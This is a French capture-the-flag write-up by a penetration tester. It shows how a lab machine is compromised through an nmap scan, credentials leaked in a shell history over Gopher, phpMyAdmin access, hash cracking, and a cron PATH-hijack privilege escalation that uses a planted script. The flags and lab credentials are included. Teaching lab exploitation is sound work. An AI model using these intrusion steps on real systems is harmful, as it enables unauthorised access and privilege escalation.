Je commence par un scan nmap afin d’identifier les services disponibles.

# Nmap 7.93 scan initiated Sat Mar 18 04:34:00 2023 as: nmap -sSVC -p- -T4 -oA nmap_server --open -v 10.8.0.1
Nmap scan report for 10.8.0.1
Host is up (0.044s latency).
Not shown: 65529 closed tcp ports (reset)
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 0ae5d98252c360b590da4f73cd359be4 (RSA)
|   256 9f82b5b158594844c5ba81bd54292382 (ECDSA)
|_  256 550355fbc3bdf58fd2667f71d8b78f5f (ED25519)
70/tcp    open  gopher
| fingerprint-strings:
|   GenericLines, GetRequest:
|     i[/] TITLE null.host 1
|     null.host 1
|     2023-Mar-17 17:03 -------- /./ dynamic-huitrescancale-36c80f6aebca2185-5c97d46b4c-vrdmv 70
|     2023-Mar-18 03:29 -------- /../ dynamic-huitrescancale-36c80f6aebca2185-5c97d46b4c-vrdmv 70
|     1administrator 2023-Mar-17 17:03 -------- /administrator/ dynamic-huitrescancale-36c80f6aebca2185-5c97d46b4c-vrdmv 70
|     1night 2023-Mar-17 17:04 -------- /night/ dynamic-huitrescancale-36c80f6aebca2185-5c97d46b4c-vrdmv 70
|     1robert 2023-Mar-17 17:03 -------- /robert/ dynamic-huitrescancale-36c80f6aebca2185-5c97d46b4c-vrdmv 70
|     1zeecka 2023-Mar-17 17:04 -------- /zeecka/ dynamic-huitrescancale-36c80f6aebca2185-5c97d46b4c-vrdmv 70
|_    i____________________________
| gopher-ls:
| [dir] /./ ".                                     2023-Mar-17 17:03   --------"
| [dir] /../ "..                                    2023-Mar-18 03:29   --------"
| [dir] /administrator/ "administrator                         2023-Mar-17 17:03   --------"
| [dir] /night/ "night                                 2023-Mar-17 17:04   --------"
| [dir] /robert/ "robert                                2023-Mar-17 17:03   --------"
|_[dir] /zeecka/ "zeecka                                2023-Mar-17 17:04   --------"
80/tcp    open  http     Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Page Title
1193/tcp  open  http     Apache httpd 2.4.56
|_http-title: Open VPN
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.56 (Unix)
1194/tcp  open  openvpn?
30000/tcp open  http     Apache httpd 2.4.56 ((Unix))
|_http-title: Open VPN
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.56 (Unix)
...

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Mar 18 04:34:47 2023 -- 1 IP address (1 host up) scanned in 46.63 seconds

Nous pouvons ignorer les 3 ports élevés concernant le VPN, ils sont nécessaires pour accéder à la machine, mais ne font pas partir du challenge.

Il reste donc 22 (SSH), 70 (Gopher), 80 (HTTP). Le module nmap gopher-ls nous montre des répertoires accessibles publiquement.

Pas besoin d’un client gopher spécialisé, Firefox support le gopher, il suffit de saisir l’URL comme si c’était un site web http://10.8.0.1:70/.

En naviguant dans les répertoires, j’ai identifié les fichiers d’intérêt suivants :

Le fichier database.txt contient une liste des bases de données.

+--------------------+
| Database           |
+--------------------+
| information_schema |
| pma                |
| web                |
+--------------------+

La base pma est une abréviation pour phpmyadmin, j’ai donc directement saisi l’URL suivante http://10.8.0.1/phpmyadmin/.

Note : il était aussi possible de trouver ce dossier par énumération avec ffuf.

Ensuite le fichier .bash_history contient des commandes mariadb avec des identifiants passés en paramètre.

...
mariadb -u robert -p web
mariadb -u robert -p assword web
...

Ces identifiants nous permettent de se connecter au PhpMyAdmin, de sélectionner le schéma marche et d’effectuer la requête suivante SELECT * FROM 'Administration'.

Cela permet de trouver le condensat de mot de passe et le nom de compte suivant :

1   robert  28f9a6609d25c11f6928e6b74a324fc8

Je balance le condensat sur https://crackstation.net/ sans vergogne, je remplis le capchta comme je ne suis pas un robot, et je récupère bassement le mot de passe Robert35.

Note : J’imagine que certains sagouins n’ayant pas fait le lien entre pma et phpmyadmin ont du s’en sortir avec de l’attaque par force brute comme le nom d’utilisateur robert était visible via gopher.

Je me connecte au serveur en SSH et je capture le premier drapeau 🏳️ !

robert@dynamic-huitrescancale-36c80f6aebca2185-5c97d46b4c-vrdmv:/home$ cat /flag_user.txt
BZHCTF{LeMouchoir

Je déploie un petit linPEAS en SCP et roule ma poule sur le chemin de l’élévation de privilèges.

scp /usr/share/peass/linPEAS/linpeas_linux_amd64 robert@10.8.0.1:lin

Oulalala, attention, il y a des droits étranges (PATH=/home/robert) sur une tâche cron qui tourne en administrator, comme c’est bizarre.

robert@dynamic-huitrescancale-36c80f6aebca2185-5c97d46b4c-vrdmv:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/home/robert:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
#17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
#25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
#47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
#52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/1 *    * * *   administrator    mysqldump -u robert -password marche > /tmp/backup.sql

Comme il n’y a pas vi, vim, nano, etc. sur la machine, je crée un fichier mysqldump en local dans le but d’abuser du chemin et détourner la tâche cron.

#!/bin/bash
cat /flag_root.txt > /tmp/.noraj.txt

Toujours en SCP, je dépose mon fichier :

scp mysqldump robert@10.8.0.1:mysqldump

Quelques secondes plus tard, je peux lire le second drapeau 🏴 !

robert@dynamic-huitrescancale-36c80f6aebca2185-5c97d46b4c-vrdmv:~$ cat /tmp/.noraj.txt
CestUnParcAHuîtres}

Et voici le drapeau complet BZHCTF{LeMouchoirCestUnParcAHuîtres} 🏳️🏴.

Solution de l’auteur du challenge.

À propos de l’auteur

Article écrit par Alexandre ZANNI alias noraj, Ingénieur en Test d’Intrusion chez ACCEIS.